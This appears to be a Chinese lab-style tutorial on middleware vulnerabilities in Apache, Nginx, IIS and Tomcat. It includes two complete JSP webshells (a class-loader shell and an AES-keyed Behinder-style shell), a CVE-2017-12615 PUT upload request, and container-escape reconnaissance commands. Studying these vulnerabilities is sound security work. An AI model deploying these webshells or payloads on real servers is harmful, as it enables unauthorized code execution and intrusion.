中间件漏洞!!!

news2025/1/16 4:56:54

上次好像记得讲过了框架漏洞,(weblogic不是)那么,今天我们就来讲一些中间件的漏洞

1.Apache解析漏洞

众所周知,Apache是一个非常出名的中间件,本来呢,他是不存在漏洞的,但是如果用户进行了错误的配置的话,就会导致漏洞的产生

1.Handler错误配置

Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别(不在mime.types),则继续向左识别!! ---这是apache的解析规则

本来呢,apache服务器是不会解析php文件的,但是如果一些运维人员想要让他解析的话,那么就会加上这么一句话

AddType application/x­httpd­php .php
它的作用也是为了让 apache php 文件交给 php_module 解析 , 但是注意到它与SetHandler: 它的 后缀不是用正则去匹配的 所以, 在文件名的任何位置匹配到php后缀,它都会php_module解析。
所以,当我们上传一个这样的文件的时候,就能被成功的解析
那么总结一下这个漏洞的条件??

  1. 有人设置了 AddType application/x­httpd­php .php这个handler(没有正则匹配只能是php php3  php5这样的结尾)
  2. 有了上述的错误配置之后,结合上apache的从右往左解析的特点(找不到就继续找),导致到了 .php.eweqdd 这样的文件结尾能被解析成php文件

2.CVE-2017-15715

Apache HTTPD 是一款 HTTP 服务器,它可以通过 mod_php 来运行 PHP 网页。其 2.4.0~2.4.29 版本中存在一个解析 漏洞,在解析PHP 时, 1.php\x0a 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。

漏洞的原理,就在这里 

我们众所周知 $是正则匹配以什么结尾,反手用mysql来演示一下
漏洞是怎么产生的呢?? 首先得知道一个东西
$ 符号 : 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 '\n' '\r'
假设有这样的一个php源代码
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} else {
?>

很明显,这个是用来判断上传的类型的,问题就在于它的 $name是用的POST来接受的!!

当我们传入的文件后缀为 .php\n的时候,POST并不会去掉我们的\n,并且传入之后,我们的文件格式 .php\n还会被匹配成.php 

所以这个能利用起来还是很苛刻的!!!

还是来捋一下思路

  1. 首先,网站的regexp设置了multiline的属性,而且在http.conf里面用 $来匹配php结尾
  2. 然后,就是获取文件的格式不能直接 $_FILES['FILE']['name']来接受我们的文件格式,必须要有一个单独的格式去接受我们的文件格式
  3. 最后就是要去包里面将文件的后缀名字加上一个 %0a

    注意哦,我们这里的蚁剑连接,也是要接的%0a
这个利用起来还真是好难呢

2.Nginx解析漏洞

PHP 配置文件中有一个参数是 cgi.fix_pathinfo ,如果参数 cgi.fix_pathinfo=1 ,则产生该漏洞
这个还是比较好利用的,复现过程如下

如何我的www目录下有一个shell.jpg文件,并且里面写的是一句话的木马,当我访问这样的一个url的时候,就会产生漏洞

http://127.0.0.1/shell.jpg/i_want_to_be_a_blue_team_member.php

哈哈哈,后面那些是我自己的创造,但是不重要,在开启了cgi.fix_pathinfo这个函数的时候,解析就变成了以下的规则!!!!

先去找一下********.php(就是我最后的那个php文件),肯定是找不到的,然后以PHP的规则向前面解析!!!当碰到shell.jpg的时候,就会把他当成php来解析!!!

所以漏洞就是这样子产生的

所以总结:

  1. 只要开启了cgi.fix_pathinfo为1,那么这个漏洞将会存在!!!!

3.IIS解析漏洞

1.IIS7.X解析漏洞

这个漏洞和上面的Nginx的解析漏洞有点像!!! 也是需要对应的cgi.;x_pathinfo=1

有了上面的前提之后,在某文件路径后添加/.php会将该文件解析成php文件

2.IIS6.0解析漏洞

前提也比较简单

ii6.0的服务器开启Active Server Pages服务拓展!!

那么我们这样的格式,就会直接忽略 ; 后面的内容,直接解析 ; 前面的内容!!

所以我们的poc就是

/shell.asp;.jpg

4.Tomcat

汤姆猫的漏洞可不少

1.弱口令

tomcat 存在管理后台进行应用部署管理,且管理后台使用 HTTP 基础认证进行登录。若用户口令为弱口令,攻击者 容易进行暴力破解登录后台并进行应用管理。Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。
默认来说,它的用户名就是默认tomcat,所以如果我们遇到的话,就可以去尝试一下
点击这里,直接爆破就好(或者你弱口令)不过这个tomcat也是抽象,base64编码是吧,那么这样的话就可能要你自己去写一个py的脚本来换字典了
这里就直接弱口令进来了
原理? 下面来看看
首先是进入docker吧
docker exec -it  "container_id"  /bin/bash

然后去对应位置查看是否存在弱口令

cd /usr/local/tomcat/conf
cat tomcat-users.xml

然后就能看见配置

然后我们都进到了后台了,说说怎么利用吧!!!
看到这个部署了吗!!!是不是和weblogic很像 那么我们就按之前的操作再来一遍
java语言,直接上jsp的🐎,这里我用的冰蝎,好像蚁剑对jsp的🐎连接效果不好
老样子,先找一个jsp的马,然后打包成war包
然后直接部署
然后去访问shell目录下的shell.jsp
然后就被啪啪打脸了

md,冰蝎连不上了,反而蚁剑连上了       

可能我用的这个🐎不是冰蝎自带的吧
<%!
      class U extends ClassLoader {
		  U(ClassLoader c){
			  super(c);
		  }
		  public Class g(byte[] b){
			  return super.defineClass(b,0,b.length);
		  }
	  }
	 public byte[] base64Decode(String str) throws Exception{
		 try{
			 Class clazz =Class.forName("sun.misc.BASE64Decoder");
			 return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
		 }catch (Exception e){
			 Class clazz =Class.forName("java.util.Base64");
			 Object decoder =clazz.getMethod("getDecoder").invoke(null);
			 return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
		 }
	 }
%>
<% 
       String cls =request.getParameter("cmd");
       if(cls != null){
         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);	 
 }
%>

那么换冰蝎的马试试??

<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {
    U(ClassLoader c) {
        super(c);
    }

    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }
}
%>
<%
if (request.getMethod().equals("POST")) {
    String k = "e45e329feb5d925b"; // 默认连接密码rebeyond的前16位md5值
    session.putValue("u", k);
    
    Cipher c = Cipher.getInstance("AES");
    c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
    
    byte[] decodedData = new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine());
    byte[] decryptedData = c.doFinal(decodedData);
    
    ClassLoader classLoader = this.getClass().getClassLoader();
    Class loadedClass = new U(classLoader).g(decryptedData);
    Object instance = loadedClass.newInstance();
    
    // 检查实例是否与pageContext相等
    if (instance.equals(pageContext)) {
        // 执行一些特定的操作
    }
}
%>

我真无语了。。。。。 自己的马自己都连不上

2.CVE-2017-12615

在Tomcat配置文件设置了PUT上传方法 ,在 web.xml 文件,可以发现,默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控
受到影响的版本:Apache Tomcat 7.0.0 - 7.0.79 (windows环境) (Linux的话不是,反正遇到tomcat就去试试!!!)
poc如下
PUT /1.jsp/ HTTP/1.1
Host: your­ip:8080
Accept: */*
Accept­Language: en
User­Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content­Type: application/x­www­form­urlencoded
Content­Length: 5

这里直接写你的webshell code
上BP!!(冰蝎我给你最后一次机会)
爬,给我爬,连不上,蚁剑,我还是爱你的
上蚁剑的🐎
小小flag:::以后我只用蚁剑!!!!
但是其实到了这个步骤,并不是结束了,当我们看到一个Linux搭建的环境的时候!!!
我们就要去想会不会是docker !!!(因为要逃逸)
但是可以说,这个靶场做的挺不错的
挺全的,就连以下两个命令也检查不出来
ls -a   //看看有没有隐藏的  .docker.env这种特征性文件
cat /proc/1/groups    //看看有没有docker的字样

但是,最后的这一个命令就露馅了,一个Linux机器(非docker环境)怎么可能连ifconfig都没有

5.Weblogic

weblogic的话,我之前讲过它的泄露密码

对于它出现过的SSRF漏洞,请看我的下一篇Blog 关于SSRF的

对于反序列化,其实挺多的,但是原理复杂,我就不细讲了,这种用工具扫就是

直接用工具扫就好了

以上,就是比较出名的中间件漏洞啦

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1569589.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OpenAI推出VoiceEngine语音引擎技术:让声音更逼真,更富情感

继openAI GPT3.5免登录后&#xff0c;OpenAI最近推出了一款名为VoiceEngine的语音引擎技术&#xff0c;这技术能通过简单的文本输入和15秒的音频样本&#xff0c;就能生成跟原始说话者声音一模一样的语音&#xff0c;不仅逼真&#xff0c;还充满了情感。 这VoiceEngine技术&am…

三、keepalived双机热备

一、双机热备概述 1、为什么需要双机热备&#xff1a; 双机热备主要为了解决服务器的单点故障问题。 在主机 MASTER 宕机之后可以马上切换到备选服务器 BACKUP。 服务器规划&#xff1a; 2、克隆产生web01服务器&#xff1a; (1) 基于LNMP克隆生成Web01服务器&#xff1a; (…

[计算机知识] TCP/IP网络模型、MySQL的结构

TCP/IP网络模型 应用层 给用户提供应用功能&#xff0c;如HTTP, DNS 应用层处于用户态&#xff0c;传输层及以下处于内核态 传输层 给应用层提供网络支持&#xff0c;如TCP, UDP TCP提供稳定、面向连接的网络传输协议 应用层的数据可能会太大&#xff0c;就需要进行拆分…

深入浅出 -- 系统架构之分布式架构

​​​​​​分布式架构&#xff1a; 根据业务功能对系统做拆分&#xff0c;每个业务功能模块作为独立项目开发&#xff0c;称为一个服务。 当垂直应用越来越多时&#xff0c;应用之间的交互不可避免&#xff0c;可将共用的基础服务或核心模块抽取出来作为独立服务&#xff0c…

与机器对话:ChatGPT 和 AI 语言模型的奇妙故事

原文&#xff1a;Talking to Machines: The Fascinating Story of ChatGPT and AI Language Models 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 从 ELIZA 到 ChatGPT&#xff1a;会话式人工智能的简史 会话式人工智能是人工智能&#xff08;AI&#xff09;的一个分…

【C++ STL迭代器】iterator

文章目录 【 1. 迭代器的属性 】【 2. 不同容器支持的迭代器 】【 3. 迭代器的定义方式 】【 4. 实例 】4.1 定义方式&#xff1a;正向迭代器和反向迭代器4.2 迭代器属性&#xff1a;前向迭代、双向迭代、随机迭代4.2 迭代器的遍历方法4.3 auto关键字 自动指定迭代器定义类型 背…

Pycharm安装及使用图文教程(附下载地址)

1. Pycharm简介 大家在使用Python的时候往往会选择一款自己熟悉的编译器。大多数Python使用者会选择PyCharm这款软件来进行Python的学习与开发。 关于PyCharm&#xff0c;PyCharm是一种Python IDE&#xff0c;带有一整套可以帮助用户在使用Python语言开发时提高其效率的工具&a…

每日五道java面试题之ZooKeeper篇(一)

目录&#xff1a; 第一题. ZooKeeper 是什么&#xff1f;第二题. Zookeeper 文件系统第三题. Zookeeper 怎么保证主从节点的状态同步&#xff1f;第四题. 四种类型的数据节点 Znode第五题 . Zookeeper Watcher 机制 – 数据变更通知 第一题. ZooKeeper 是什么&#xff1f; Zoo…

Python爬虫:http和https介绍及请求

HTTP和HTTPS 学习目标&#xff1a; 记忆 http、https的概念和区别记忆 浏览器发送http请求的过程记忆 http请求头的形式记忆 http响应头的形式了解 http响应状态码 1 为什么要复习http和https 在发送请求&#xff0c;获取响应的过程中 就是发送http或https的请求&#xff0c…

grep无法使用完整的正则表达式

问题描述 grep无法使用完整的正则表达式&#xff0c;比如前置断言、后置断言、\d和\t、\n等 问题原因 使用了扩展正则&#xff0c;而不是perl正则。规则和perl正则不同 从文档上讲得很清楚&#xff1a; -E PATTERN is an extended regular expression 他是扩展表达式&#…

网络安全 | 什么是负载均衡器?

关注WX&#xff1a; CodingTechWork 介绍 负载均衡是在多个服务器之间有效分配网络流量的过程。负载均衡的目的是优化应用程序的可用性&#xff0c;并确保良好的终端用户体验。负载均衡可协助高流量网站和云计算应用程序应对数百万个用户请求&#xff0c;从而保证客户请求不会…

Driver not loaded之记录Qt访问MySql的解决经历

对于这个问题的本质原因&#xff0c;我也搞不明白&#xff0c;所以记录的方法不一定对所有人行之有效。我的目的很简单&#xff0c;就是把数据库用起来&#xff0c;经过查找网上资料&#xff0c;最终把数据库跑起来了。因此记录如下&#xff1a; 1&#xff0c;出现这个问题是缺…

【Linux】网络基础常识{OSI七层模型/ TCP/IP / 端口号 /各种协议}

文章目录 1.网络常识1.0DHCP协议1. 1IP地址/MAC地址/ARP协议是什么&#xff1f;IP/MACARP&#xff1a;IP ⇒ MAC 1.2手机连接wifi的原理 SSID与BSSID手机连接wifiSSID与BSSID 1.3手机如何通过“数据/流量”上网&#xff1f;1.4电脑连接wifi的原理&#xff1f;电脑通过热点上网…

Linux云计算之Linux基础3——Linux基本认识操作

1、终端 终端(terminal)&#xff1a;人和系统交互的必要设备&#xff0c;人机交互最后一个界面&#xff08;包含独立的输入输出设备&#xff09; 物理终端(console)&#xff1a;直接接入本机器的键盘设备和显示器虚拟终端(tty)&#xff1a;通过软件方式虚拟实现的终端。它可以…

各种滤波算法

各种滤波算法 1. 半径离群点去除(Radius Outlier Removal&#xff0c;半径滤波)2. 统计离群点剔除(Statistical Outlier Removal, 统计滤波)3. 体素网格将采样(voxel grid downsampling)4. 最远点采样(Farthest Point Sampling, FPS)5. 正态空间将采样(Normal Space Sampling, …

第六期丨酷雷曼无人机技能培训

第6期无人机技能提升培训 盼望着盼望着&#xff0c;第六期无人机技能提升培训会终于如期和大家见面了。 2024年1月1日&#xff0c;国务院、中央军事委员会颁布《无人驾驶航空器飞行管理暂行条例》&#xff0c;对民用无人机飞行活动实施更为严格的规范约束&#xff0c;越来越多…

AOP源码解析

一、注册AnnotationAwareAspectJAutoProxyCreator&#xff0c;引入postProcessAfterInitialization 1、Spring 入口&#xff1a; <aop:aspectj-autoproxy /> registerAspectJAnnotationAutoProxyCreatorIfNecessary,注册AnnotationAwareAspectJAutoProxyCreator Annot…

elsint报错Delete `␍`eslintprettier/prettier

一&#xff0c;原因 这篇博客写得很清楚&#xff1a;解决VSCode Delete ␍eslint(prettier/prettier)错误_vscode 删除cr-CSDN博客 还有这篇文章&#xff0c;解决办法很详细&#xff1a;滑动验证页面 二&#xff0c;解决办法 根目录下新建.prettierrc.js文件 module.exports…

wordpress外贸独立站模板

wordpress外贸独立站模板 WordPress Direct Trade 外贸网站模板&#xff0c;适合做跨境电商的外贸公司官方网站使用。 https://www.waimaoyes.com/wangzhan/22.html

入门用Hive构建数据仓库

在当今数据爆炸的时代&#xff0c;构建高效的数据仓库是企业实现数据驱动决策的关键。Apache Hive 是一个基于 Hadoop 的数据仓库工具&#xff0c;可以轻松地进行数据存储、查询和分析。本文将介绍什么是 Hive、为什么选择 Hive 构建数据仓库、如何搭建 Hive 环境以及如何在 Hi…